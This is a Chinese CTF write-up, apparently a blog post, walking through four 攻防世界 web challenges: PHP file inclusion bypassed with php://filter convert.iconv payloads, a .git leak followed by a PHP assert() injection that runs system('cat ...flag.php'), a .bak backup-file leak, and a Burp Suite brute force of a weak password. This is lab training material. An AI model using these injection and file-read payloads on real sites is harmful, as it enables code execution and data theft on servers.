攻防世界ctf

1.题目名称-文件包含

php 复制代码
  if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }

通过代码审计,我们发现这存在文件包含漏洞,由于没有很好的进行过滤,所以我们可以通过 URL 参数传递任意文件路径给参数$filename,也就是可以构造恶意代码

1.首先尝试filter协议访问数据流

PHP伪协议filter详解

显示do not hack

尝试了data伪协议和file伪协议都显示 do not hack

说明进行了很严格的过滤,那我们要想办法绕过。参考官方,提示使用 convert.iconv.[]过滤器绕过,[]中支持以下字符编码

依次构造payload

html 复制代码
http://61.147.171.105:49280/index.php?filename=php://filter//convert.iconv.UCS-4*/resource=/var/www/html/flag.php
http://61.147.171.105:49280/index.php?filename=php://filter//convert.iconv.UCS-4BE/resource=/var/www/html/flag.php
http://61.147.171.105:49280/index.php?filename=php://filter//convert.iconv.UCS-4LE*/resource=/var/www/html/flag.php

依次进行尝试 ,只有UCS-4*是没有报出错误信息的

再结合一下filter协议读取数据,得到flag

2.mfw

打开题目,会有三个网页,我们查看其他网页发现了这个提示

在CTF比赛中,我们需要收集的信息有以下几类:

服务器信息

敏感目录

敏感文件

而在实战中,我们还可能需要收集更多的信息来找到渗透的突破口,比如开放的端口,使用的CDN,是否有泄漏的源码

我们看到了敏感目录git,就要想到git目录泄露

通过泄露的敏感目录,我们可以获取服务器路径、url甚至直接获取网站源码

尝试查看敏感信息文件

下载备份文件后找到核心代码

php 复制代码
<?php
 
if (isset($_GET['page'])) {  
	$page = $_GET['page'];
} else {    //为空输出page=home
	$page = "home";
}
 
$file = "templates/" . $page . ".php";
 
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");  
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
 
?>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		
		<title>My PHP Website</title>
		
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
	</head>
	<body>
		<nav class="navbar navbar-inverse navbar-fixed-top">
			<div class="container">
		    	<div class="navbar-header">
		    		<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
		            	<span class="sr-only">Toggle navigation</span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		          	</button>
		          	<a class="navbar-brand" href="#">Project name</a>
		        </div>
		        <div id="navbar" class="collapse navbar-collapse">
		          	<ul class="nav navbar-nav">
		            	<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
		            	<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
		            	<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
						<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
		          	</ul>
		        </div>
		    </div>
		</nav>
		
		<div class="container" style="margin-top: 50px">
			<?php
				require_once $file;
			?>
			
		</div>
		
		<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
		<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
	</body>
</html>

$file = "templates/" . $page . ".php";

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

如果要最终找flag需要绕过 ,参考大佬的思维可以用// 将后面的内容注释掉,并用')来与strpos()函数的前半部分('templates/进行闭合。

构造payload: /?page=');//

这个显示不行,不过在下载文件时我们已经知道了flag文件的路径,所以可以直接构造payload

/?page=').system('cat+./templates/flag.php');//

查看源码,拿到flag(当没有显示,或者网页发生变化时记得查看源码哦)

3.backup

index.php 文件通常是 Web 应用程序的入口点(入口文件)。当用户访问网站的根目录时,Web 服务器会自动加载并执行 index.php 文件。它负责处理用户的请求,并根据请求的内容返回相应的响应。

题目很明显提示了备份文件

常见的备份文件扩展名,我们依次进行查看

备份文件.bak直接下载了一个备份文件。

查看一下得到flag

4.weak_auth

根据提示,小宁随手写了一个密码 。测试一下登录和注册,这是一个密码安全强度弱的登录页面。我们可以尝试用burpsuit暴力破解

先抓包然后发送到intruder

在burp中导入字典进行爆破

有两个密码显示不一样,尝试一下得到密码123456.,然后登录得到flag

相关推荐
cs麦子3 小时前
Visual Studio(VS)没有显示垂直滚轮or垂直滚轮异常显示
ide·php·visual studio
网络安全King6 小时前
网络安全风险量化值 网络安全风险控制
网络·安全·web安全
黑客Jack6 小时前
网络安全技术架构 网络安全结构体系图
安全·web安全
vortex56 小时前
网络安全威胁框架与入侵分析模型概述
网络·安全·web安全·网络安全·渗透测试
网络安全(华哥)6 小时前
网络安全协议之比较(SSH、PKI、SET、SSL)
web安全·ssh·ssl
m0_739675767 小时前
判断192.168.1.0/24网络中,当前在线的ip有哪些
网络·tcp/ip·php
寰宇软件8 小时前
PHP商会招商项目系统小程序
小程序·uni-app·vue·php